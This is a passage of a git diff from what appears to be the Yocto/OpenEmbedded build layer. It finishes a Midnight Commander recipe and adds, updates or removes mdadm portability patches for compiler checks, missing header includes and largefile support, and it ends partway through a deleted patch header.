+LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
+SECTION = "console/utils"
+DEPENDS = "ncurses glib-2.0 util-linux file-replacement-native"
+RDEPENDS:${PN} = "ncurses-terminfo-base"
+RRECOMMENDS:${PN} = "ncurses-terminfo"
+
+SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
+ file://nomandate.patch \
+ "
+SRC_URI[sha256sum] = "f42f4114ed42f6cf9995f1d896fa6c797ccb36dac57760dda8dd9f78ac462841"
+
+inherit autotools gettext pkgconfig
+
+#
+# Both Samba (smb) and sftp require package delivered from meta-openembedded
+#
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
+
+# enable NCURSES_WIDECHAR=1 only if ENABLE_WIDEC has not been explicitly disabled (e.g. by the distro config).
+# When compiling against the ncurses library, NCURSES_WIDECHAR needs to explicitly set to 0 in this case.
+CFLAGS:append:libc-musl = "${@' -DNCURSES_WIDECHAR=1' if bb.utils.to_boolean((d.getVar('ENABLE_WIDEC') or 'True')) else ' -DNCURSES_WIDECHAR=0'}"
+EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
+EXTRANATIVEPATH += "file-native"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL_FOR_BUILD='/usr/bin/env perl'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
+CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
+CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
+
+do_install:append () {
+ sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
+
+ rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
+}
+
+PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-shell"
+
+SUMMARY:${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
+FILES:${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
+ ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
+ ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
+ ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
+ ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
+ ${libexecdir}/mc/extfs.d/uzip"
+RDEPENDS:${BPN}-helpers-perl = "perl"
+
+SUMMARY:${BPN}-helpers = "Midnight Commander shell helper scripts"
+FILES:${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
+
+SUMMARY:${BPN}-shell = "Midnight Commander Shell scripts"
+FILES:${BPN}-shell = "${libexecdir}/mc/shell"
diff --git a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
index a89161404d..fa1f0aa520 100644
--- a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
@@ -1,4 +1,4 @@
-From 1f5baf3ad95ae4c39efe4d8ad8b2e642b3a351da Mon Sep 17 00:00:00 2001
+From 76856a34a4e339e4a53b09d028f89fcc520e3127 Mon Sep 17 00:00:00 2001
From: "Maxin B. John" <maxin.john@intel.com>
Date: Tue, 9 Feb 2016 11:44:01 +0200
Subject: [PATCH] Fix the path of corosync and dlm header files check
@@ -10,27 +10,16 @@ Upstream-Status: Inappropriate [Yocto specific]
Signed-off-by: Maxin B. John <maxin.john@intel.com>
---
-mdadm only works with corosync 2.x which provides header file corosync/cmap.h.
-If build mdadm with corosync 1.x, it fails with:
-
-| member.c:12:27: fatal error: corosync/cmap.h: No such file or directory
-| #include <corosync/cmap.h>
-| ^
-
-Build with corosync only header file corosync/cmap.h exists.
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
----
Makefile | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/Makefile b/Makefile
-index fd79cfb..34150a9 100644
+index cbdba49..7bfd336 100644
--- a/Makefile
+++ b/Makefile
-@@ -80,8 +80,8 @@ MDMON_DIR = $(RUN_DIR)
- FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots
+@@ -109,8 +109,8 @@ FAILED_SLOTS_DIR = $(RUN_DIR)/failed-slots
SYSTEMD_DIR=/lib/systemd/system
+ LIB_DIR=/usr/libexec/mdadm
-COROSYNC:=$(shell [ -d /usr/include/corosync ] || echo -DNO_COROSYNC)
-DLM:=$(shell [ -f /usr/include/libdlm.h ] || echo -DNO_DLM)
@@ -39,6 +28,3 @@ index fd79cfb..34150a9 100644
DIRFLAGS = -DMAP_DIR=\"$(MAP_DIR)\" -DMAP_FILE=\"$(MAP_FILE)\"
DIRFLAGS += -DMDMON_DIR=\"$(MDMON_DIR)\"
---
-2.4.0
-
diff --git a/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
new file mode 100644
index 0000000000..a4be1aa8a1
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
@@ -0,0 +1,27 @@
+From 0be066d57a7dd1aead5488d0a095863608f2e559 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 25 Jan 2022 16:25:01 +0800
+Subject: [PATCH] Makefile: install mdcheck
+
+The mdcheck_xxx.service files use mdcheck, but it's not installed.
+We need to install this script.
+
+Upstream-Status: Submitted [Sent patch to maintainer]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ Makefile | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Makefile b/Makefile
+index 1141971..f4059e2 100644
+--- a/Makefile
++++ b/Makefile
+@@ -325,6 +325,7 @@ install-systemd: systemd/mdmon@.service
+ install-bin: mdadm mdmon
+ $(INSTALL) -D $(STRIP) -m 755 mdadm $(DESTDIR)$(BINDIR)/mdadm
+ $(INSTALL) -D $(STRIP) -m 755 mdmon $(DESTDIR)$(BINDIR)/mdmon
++ $(INSTALL) -D -m 755 misc/mdcheck $(DESTDIR)/usr/share/mdadm/mdcheck
+
+ uninstall:
+ rm -f $(DESTDIR)$(MAN8DIR)/mdadm.8 $(DESTDIR)$(MAN8DIR)/mdmon.8 $(DESTDIR)$(MAN4DIR)/md.4 $(DESTDIR)$(MAN5DIR)/mdadm.conf.5 $(DESTDIR)$(BINDIR)/mdadm
diff --git a/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch b/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
index a4b7b8acd3..16fdefbbd1 100644
--- a/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch
@@ -1,4 +1,4 @@
-From a129ee6d80f3b2cda0d827c35fa81a517cf6d505 Mon Sep 17 00:00:00 2001
+From c29d086714b49a6d76ccca83b4a6fa2f139bad6e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 13 Oct 2017 10:27:34 -0700
Subject: [PATCH] Use CC to check for implicit-fallthrough warning support
@@ -8,24 +8,37 @@ its possible that build host gcc is version 7+ but the
cross compile used for compiling mdadm is < version 7
Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
Upstream-Status: Pending
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
+---
+ Makefile | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/Makefile b/Makefile
-index d207ee4..971f255 100644
+index 7bfd336..9ab6a65 100644
--- a/Makefile
+++ b/Makefile
-@@ -48,7 +48,7 @@ ifdef WARN_UNUSED
- CWFLAGS += -Wp,-D_FORTIFY_SOURCE=2 -O3
+@@ -56,21 +56,21 @@ CWFLAGS += -Wp -O3
endif
--FALLTHROUGH := $(shell gcc -v --help 2>&1 | grep "implicit-fallthrough" | wc -l)
-+FALLTHROUGH := $(shell ${CC} -v --help 2>&1 | grep "implicit-fallthrough" | wc -l)
- ifneq "$(FALLTHROUGH)" "0"
- CWFLAGS += -Wimplicit-fallthrough=0
+ ifeq ($(origin FALLTHROUGH), undefined)
+- FALLTHROUGH := $(shell gcc -Q --help=warnings 2>&1 | grep "implicit-fallthrough" | wc -l)
++ FALLTHROUGH := $(shell ${CC} -Q --help=warnings 2>&1 | grep "implicit-fallthrough" | wc -l)
+ ifneq "$(FALLTHROUGH)" "0"
+ CWFLAGS += -Wimplicit-fallthrough=0
+ endif
endif
---
-2.14.2
-
+
+ ifeq ($(origin FORMATOVERFLOW), undefined)
+- FORMATOVERFLOW := $(shell gcc -Q --help=warnings 2>&1 | grep "format-overflow" | wc -l)
++ FORMATOVERFLOW := $(shell ${CC} -Q --help=warnings 2>&1 | grep "format-overflow" | wc -l)
+ ifneq "$(FORMATOVERFLOW)" "0"
+ CWFLAGS += -Wformat-overflow
+ endif
+ endif
+
+ ifeq ($(origin STRINGOPOVERFLOW), undefined)
+- STRINGOPOVERFLOW := $(shell gcc -Q --help=warnings 2>&1 | grep "stringop-overflow" | wc -l)
++ STRINGOPOVERFLOW := $(shell ${CC} -Q --help=warnings 2>&1 | grep "stringop-overflow" | wc -l)
+ ifneq "$(STRINGOPOVERFLOW)" "0"
+ CWFLAGS += -Wstringop-overflow
+ endif
diff --git a/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch b/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
new file mode 100644
index 0000000000..3cf295106f
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch
@@ -0,0 +1,36 @@
+From 78e5bb08971a5644a56af60d51ef35e13522e811 Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Fri, 14 Dec 2018 15:12:31 +0800
+Subject: [PATCH] fix gcc-8 format-truncation warning
+
+While compiling with `-Werror=format-truncation=', it failed
+[snip]
+|super0.c:236:32: error: 'snprintf' output may be truncated
+before the last format character [-Werror=format-truncation=]
+| snprintf(nb, sizeof(nb), "%4d", d);
+| ^
+|super0.c:236:3: note: 'snprintf' output between 5 and 12 bytes
+into a destination of size 11
+| snprintf(nb, sizeof(nb), "%4d", d);
+[snip]
+
+Upstream-Status: Submitted [https://github.com/neilbrown/mdadm/pull/34]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ super0.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/super0.c b/super0.c
+index a7c5f81..a79b6bd 100644
+--- a/super0.c
++++ b/super0.c
+@@ -229,7 +229,7 @@ static void examine_super0(struct supertype *st, char *homehost)
+ d++) {
+ mdp_disk_t *dp;
+ char *dv;
+- char nb[11];
++ char nb[12];
+ int wonly, failfast;
+ if (d>=0) dp = &sb->disks[d];
+ else dp = &sb->this_disk;
diff --git a/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch b/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch
new file mode 100644
index 0000000000..70be43c15e
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch
@@ -0,0 +1,56 @@
+From 7759ceda978aba38861d4846d0c1657465b72f04 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 24 Mar 2024 23:13:32 -0700
+Subject: [PATCH] include libgen.h for basename API
+
+Musl does no more provide it via string.h therefore builds with newer
+compilers e.g. clang-18 fails due to missing prototype for basename
+therefore add libgen.h to included headers list
+
+Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20240325061537.275811-1-raj.khem@gmail.com/T/#u]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Monitor.c | 1 +
+ platform-intel.c | 1 +
+ super-intel.c | 1 +
+ 3 files changed, 3 insertions(+)
+
+diff --git a/Monitor.c b/Monitor.c
+index 824a69f..e3942e1 100644
+--- a/Monitor.c
++++ b/Monitor.c
+@@ -26,6 +26,7 @@
+ #include "udev.h"
+ #include "md_p.h"
+ #include "md_u.h"
++#include <libgen.h>
+ #include <sys/wait.h>
+ #include <limits.h>
+ #include <syslog.h>
+diff --git a/platform-intel.c b/platform-intel.c
+index ac282bc..5d6687d 100644
+--- a/platform-intel.c
++++ b/platform-intel.c
+@@ -19,6 +19,7 @@
+ #include "mdadm.h"
+ #include "platform-intel.h"
+ #include "probe_roms.h"
++#include <libgen.h>
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <string.h>
+diff --git a/super-intel.c b/super-intel.c
+index dbea235..881dbda 100644
+--- a/super-intel.c
++++ b/super-intel.c
+@@ -23,6 +23,7 @@
+ #include "dlink.h"
+ #include "sha1.h"
+ #include "platform-intel.h"
++#include <libgen.h>
+ #include <values.h>
+ #include <scsi/sg.h>
+ #include <ctype.h>
+--
+2.44.0
+
diff --git a/meta/recipes-extended/mdadm/files/0001-include-sys-sysmacros.h-for-major-minor-defintions.patch b/meta/recipes-extended/mdadm/files/0001-include-sys-sysmacros.h-for-major-minor-defintions.patch
deleted file mode 100644
index acd64ada22..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-include-sys-sysmacros.h-for-major-minor-defintions.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 943616e5dffb79f307e4bd9b249d316212998750 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 18 Dec 2016 08:30:51 +0000
-Subject: [PATCH] include <sys/sysmacros.h> for major/minor defintions
-
-glibc 2.25 is warning about it if applications depend on
-sys/types.h for these macros, it expects to be included
-from <sys/sysmacros.h>
-
-Fixes
-| Grow.c:3534:13: error: In the GNU C Library, "minor" is defined
-| by <sys/sysmacros.h>. For historical compatibility, it is
-| currently defined by <sys/types.h> as well, but we plan to
-| remove this soon. To use "minor", include <sys/sysmacros.h>
-| directly. If you did not intend to use a system-defined macro
-| "minor", you should undefine it after including <sys/types.h>. [-Werror]
-| Query.c: In function 'Query':
-| Query.c:105:13: error: In the GNU C Library, "makedev" is defined
-| by <sys/sysmacros.h>. For historical compatibility, it is
-| currently defined by <sys/types.h> as well, but we plan to
-| remove this soon. To use "makedev", include <sys/sysmacros.h>
-| directly. If you did not intend to use a system-defined macro
-| "makedev", you should undefine it after including <sys/types.h>. [-Werror]
-| makedev((unsigned)disc.major,(unsigned)disc.minor) == stb.st_rdev)
-| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- mdadm.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/mdadm.h b/mdadm.h
-index 8c8f4d1..3ce13b5 100755
---- a/mdadm.h
-+++ b/mdadm.h
-@@ -34,6 +34,7 @@ extern __off64_t lseek64 __P ((int __fd, __off64_t __offset, int __whence));
- #endif
-
- #include <sys/types.h>
-+#include <sys/sysmacros.h>
- #include <sys/stat.h>
- #include <stdint.h>
- #include <stdlib.h>
---
-1.9.1
-
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-Add-Wimplicit-fallthrough-0-in-Makefile.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-Add-Wimplicit-fallthrough-0-in-Makefile.patch
deleted file mode 100644
index ce15170c75..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-Add-Wimplicit-fallthrough-0-in-Makefile.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From aa09af0fe2ec0737fa04ffd00957532684e257b9 Mon Sep 17 00:00:00 2001
-From: Xiao Ni <xni@redhat.com>
-Date: Fri, 17 Mar 2017 19:55:42 +0800
-Subject: [PATCH 1/5] mdadm: Add Wimplicit-fallthrough=0 in Makefile
-
-There are many errors like 'error: this statement may fall through'.
-But the logic is right. So add the flag Wimplicit-fallthrough=0
-to disable the error messages. The method I use is from
-https://gcc.gnu.org/onlinedocs/gcc/Warning-Options.html
-#index-Wimplicit-fallthrough-375
-
-Signed-off-by: Xiao Ni <xni@redhat.com>
-Signed-off-by: Jes Sorensen <Jes.Sorensen@gmail.com>
----
-Upstream-Status: Backport
- Makefile | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/Makefile b/Makefile
-index 0f307ec..e1a7058 100644
---- a/Makefile
-+++ b/Makefile
-@@ -48,6 +48,11 @@ ifdef WARN_UNUSED
- CWFLAGS += -Wp,-D_FORTIFY_SOURCE=2 -O3
- endif
-
-+FALLTHROUGH := $(shell gcc -v --help 2>&1 | grep "implicit-fallthrough" | wc -l)
-+ifneq "$(FALLTHROUGH)" "0"
-+CWFLAGS += -Wimplicit-fallthrough=0
-+endif
-+
- ifdef DEBIAN
- CPPFLAGS += -DDEBIAN
- endif
---
-2.12.2
-
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
new file mode 100644
index 0000000000..f224d0008d
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch
@@ -0,0 +1,25 @@
+From c27e128fdc062ec3fcdf7b48a8c5078615c538df Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Mon, 1 Jul 2019 11:34:49 +0800
+Subject: [PATCH] mdadm: add option -y for use syslog to recive event report
+
+fix service startup failed when there is
+No mail address or alert command
+
+Upstream-Status: Inappropriate [configuration]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ systemd/mdmonitor.service | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/systemd/mdmonitor.service b/systemd/mdmonitor.service
+index 9c36478..d289846 100644
+--- a/systemd/mdmonitor.service
++++ b/systemd/mdmonitor.service
+@@ -14,4 +14,4 @@ Documentation=man:mdadm(8)
+ Environment= MDADM_MONITOR_ARGS=--scan
+ EnvironmentFile=-/run/sysconfig/mdadm
+ ExecStartPre=-/usr/lib/mdadm/mdadm_env.sh
+-ExecStart=BINDIR/mdadm --monitor $MDADM_MONITOR_ARGS
++ExecStart=BINDIR/mdadm --monitor -y $MDADM_MONITOR_ARGS
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch b/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
index 4cf809290d..52daea2a49 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch
@@ -1,4 +1,4 @@
-From 6d369e8f226594632ce4260129509daf7030de0a Mon Sep 17 00:00:00 2001
+From 4dd5c2659722b44409cee28b4cea68cdeaa1f987 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 9 May 2016 22:03:57 +0000
Subject: [PATCH] mdadm.h: Undefine dprintf before redefining
@@ -14,17 +14,16 @@ In file included from policy.c:25:
/mnt/oe/openembedded-core/build/tmp-glibc/sysroots/qemux86/usr/include/bits/stdio2.h:145:12: note: previous definition is here
Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
Upstream-Status: Pending
-
+---
mdadm.h | 2 ++
1 file changed, 2 insertions(+)
diff --git a/mdadm.h b/mdadm.h
-index 230e60f..8c8f4d1 100755
+index 1f28b3e..04996e2 100644
--- a/mdadm.h
+++ b/mdadm.h
-@@ -1554,11 +1554,13 @@ static inline char *to_subarray(struct mdstat_ent *ent, char *container)
+@@ -1869,11 +1869,13 @@ static inline sighandler_t signal_s(int sig, sighandler_t handler)
}
#ifdef DEBUG
@@ -38,6 +37,3 @@ index 230e60f..8c8f4d1 100755
#define dprintf(fmt, arg...) \
({ if (0) fprintf(stderr, "%s: %s: " fmt, Name, __func__, ##arg); 0; })
#define dprintf_cont(fmt, arg...) \
---
-1.9.1
-
diff --git a/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
new file mode 100644
index 0000000000..13435ee418
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch
@@ -0,0 +1,155 @@
+From aa86de05cd6a75222b38e0789ac96fe00f705430 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 10 Nov 2022 12:31:22 -0800
+Subject: [PATCH] restripe.c: Use _FILE_OFFSET_BITS to enable largefile support
+
+Instead of using the lseek64 and friends, its better to enable it via
+the feature macro _FILE_OFFSET_BITS = 64 and let the C library deal with
+the width of types
+
+Upstream-Status: Submitted [https://lore.kernel.org/linux-raid/20221110225546.337164-1-raj.khem@gmail.com/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ raid6check.c | 11 +++++++----
+ restripe.c | 13 ++++++++-----
+ swap_super.c | 13 +++++++------
+ 3 files changed, 22 insertions(+), 15 deletions(-)
+
+diff --git a/raid6check.c b/raid6check.c
+index 9947776..8e7f142 100644
+--- a/raid6check.c
++++ b/raid6check.c
+@@ -22,6 +22,9 @@
+ * Based on "restripe.c" from "mdadm" codebase
+ */
+
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include "mdadm.h"
+ #include <stdint.h>
+ #include <sys/mman.h>
+@@ -284,9 +287,9 @@ int manual_repair(int chunk_size, int syndrome_disks,
+ }
+
+ int write_res1, write_res2;
+- off64_t seek_res;
++ off_t seek_res;
+
+- seek_res = lseek64(source[fd1],
++ seek_res = lseek(source[fd1],
+ offsets[fd1] + start * chunk_size, SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek failed for failed_disk1\n");
+@@ -294,7 +297,7 @@ int manual_repair(int chunk_size, int syndrome_disks,
+ }
+ write_res1 = write(source[fd1], blocks[failed_slot1], chunk_size);
+
+- seek_res = lseek64(source[fd2],
++ seek_res = lseek(source[fd2],
+ offsets[fd2] + start * chunk_size, SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek failed for failed_disk2\n");
+@@ -379,7 +382,7 @@ int check_stripes(struct mdinfo *info, int *source, unsigned long long *offsets,
+ goto exitCheck;
+ }
+ for (i = 0 ; i < raid_disks ; i++) {
+- off64_t seek_res = lseek64(source[i], offsets[i] + start * chunk_size,
++ off_t seek_res = lseek(source[i], offsets[i] + start * chunk_size,
+ SEEK_SET);
+ if (seek_res < 0) {
+ fprintf(stderr, "lseek to source %d failed\n", i);
+diff --git a/restripe.c b/restripe.c
+index a7a7229..1c03577 100644
+--- a/restripe.c
++++ b/restripe.c
+@@ -22,6 +22,9 @@
+ * Email: <neilb@suse.de>
+ */
+
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include "mdadm.h"
+ #include <stdint.h>
+
+@@ -581,7 +584,7 @@ int save_stripes(int *source, unsigned long long *offsets,
+ raid_disks, level, layout);
+ if (dnum < 0) abort();
+ if (source[dnum] < 0 ||
+- lseek64(source[dnum],
++ lseek(source[dnum],
+ offsets[dnum] + offset, 0) < 0 ||
+ read(source[dnum], buf+disk * chunk_size,
+ chunk_size) != chunk_size) {
+@@ -754,8 +757,8 @@ int restore_stripes(int *dest, unsigned long long *offsets,
+ raid_disks, level, layout);
+ if (src_buf == NULL) {
+ /* read from file */
+- if (lseek64(source, read_offset, 0) !=
+- (off64_t)read_offset) {
++ if (lseek(source, read_offset, 0) !=
++ (off_t)read_offset) {
+ rv = -1;
+ goto abort;
+ }
+@@ -816,7 +819,7 @@ int restore_stripes(int *dest, unsigned long long *offsets,
+ }
+ for (i=0; i < raid_disks ; i++)
+ if (dest[i] >= 0) {
+- if (lseek64(dest[i],
++ if (lseek(dest[i],
+ offsets[i]+offset, 0) < 0) {
+ rv = -1;
+ goto abort;
+@@ -866,7 +869,7 @@ int test_stripes(int *source, unsigned long long *offsets,
+ int disk;
+
+ for (i = 0 ; i < raid_disks ; i++) {
+- if ((lseek64(source[i], offsets[i]+start, 0) < 0) ||
++ if ((lseek(source[i], offsets[i]+start, 0) < 0) ||
+ (read(source[i], stripes[i], chunk_size) !=
+ chunk_size)) {
+ free(q);
+diff --git a/swap_super.c b/swap_super.c
+index b6db574..18c89e2 100644
+--- a/swap_super.c
++++ b/swap_super.c
+@@ -1,3 +1,6 @@
++/* Enable largefile support */
++#define _FILE_OFFSET_BITS 64
++
+ #include <unistd.h>
+ #include <stdlib.h>
+ #include <fcntl.h>
+@@ -16,8 +19,6 @@
+
+ #define MD_NEW_SIZE_SECTORS(x) ((x & ~(MD_RESERVED_SECTORS - 1)) - MD_RESERVED_SECTORS)
+
+-extern long long lseek64(int, long long, int);
+-
+ int main(int argc, char *argv[])
+ {
+ int fd, i;
+@@ -38,8 +39,8 @@ int main(int argc, char *argv[])
+ exit(1);
+ }
+ offset = MD_NEW_SIZE_SECTORS(size) * 512LL;
+- if (lseek64(fd, offset, 0) < 0LL) {
+- perror("lseek64");
++ if (lseek(fd, offset, 0) < 0LL) {
++ perror("lseek");
+ exit(1);
+ }
+ if (read(fd, super, 4096) != 4096) {
+@@ -68,8 +69,8 @@ int main(int argc, char *argv[])
+ super[32*4+10*4 +i] = t;
+ }
+
+- if (lseek64(fd, offset, 0) < 0LL) {
+- perror("lseek64");
++ if (lseek(fd, offset, 0) < 0LL) {
++ perror("lseek");
+ exit(1);
+ }
+ if (write(fd, super, 4096) != 4096) {
diff --git a/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch b/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch
new file mode 100644
index 0000000000..0916efafdf
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch
@@ -0,0 +1,24 @@
+From 8fa7d3cb96e8833743b635fb198675ad6c020b6e Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 12 Mar 2024 10:51:51 +0100
+Subject: [PATCH] util.c: add limits.h include for NAME_MAX definition
+
+Upstream-Status: Submitted [mariusz.tkaczyk@linux.intel.com,linux-raid@vger.kernel.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/util.c b/util.c
+index b145447..a9cb6c4 100644
+--- a/util.c
++++ b/util.c
+@@ -36,7 +36,7 @@
+ #include <ctype.h>
+ #include <dirent.h>
+ #include <dlfcn.h>
+-
++#include <limits.h>
+
+ /*
+ * following taken from linux/blkpg.h because they aren't
diff --git a/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
new file mode 100644
index 0000000000..145c65477a
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch
@@ -0,0 +1,27 @@
+From a22b2345b9773d362acd85dd4c4a6a3cda9100d4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 12 Mar 2024 10:54:08 +0100
+Subject: [PATCH] Create.c: include linux/falloc.h for FALLOC_FL_ZERO_RANGE
+ definition
+
+glibc provides this through fcntl.h but musl does not - should
+be reported and fixed there.
+
+Upstream-Status: Inappropriate [musl-specific issue]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ Create.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Create.c b/Create.c
+index 8082f54..7071f0a 100644
+--- a/Create.c
++++ b/Create.c
+@@ -31,6 +31,7 @@
+ #include <signal.h>
+ #include <sys/signalfd.h>
+ #include <sys/wait.h>
++#include <linux/falloc.h>
+
+ static int round_size_and_verify(unsigned long long *size, int chunk)
+ {
diff --git a/meta/recipes-extended/mdadm/files/0002-mdadm-Specify-enough-length-when-write-to-buffer.patch b/meta/recipes-extended/mdadm/files/0002-mdadm-Specify-enough-length-when-write-to-buffer.patch
deleted file mode 100644
index cbce053a3a..0000000000
--- a/meta/recipes-extended/mdadm/files/0002-mdadm-Specify-enough-length-when-write-to-buffer.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From bb4df273041ba206008bdb0ada75ccd97c29f623 Mon Sep 17 00:00:00 2001
-From: Xiao Ni <xni@redhat.com>
-Date: Fri, 17 Mar 2017 19:55:43 +0800
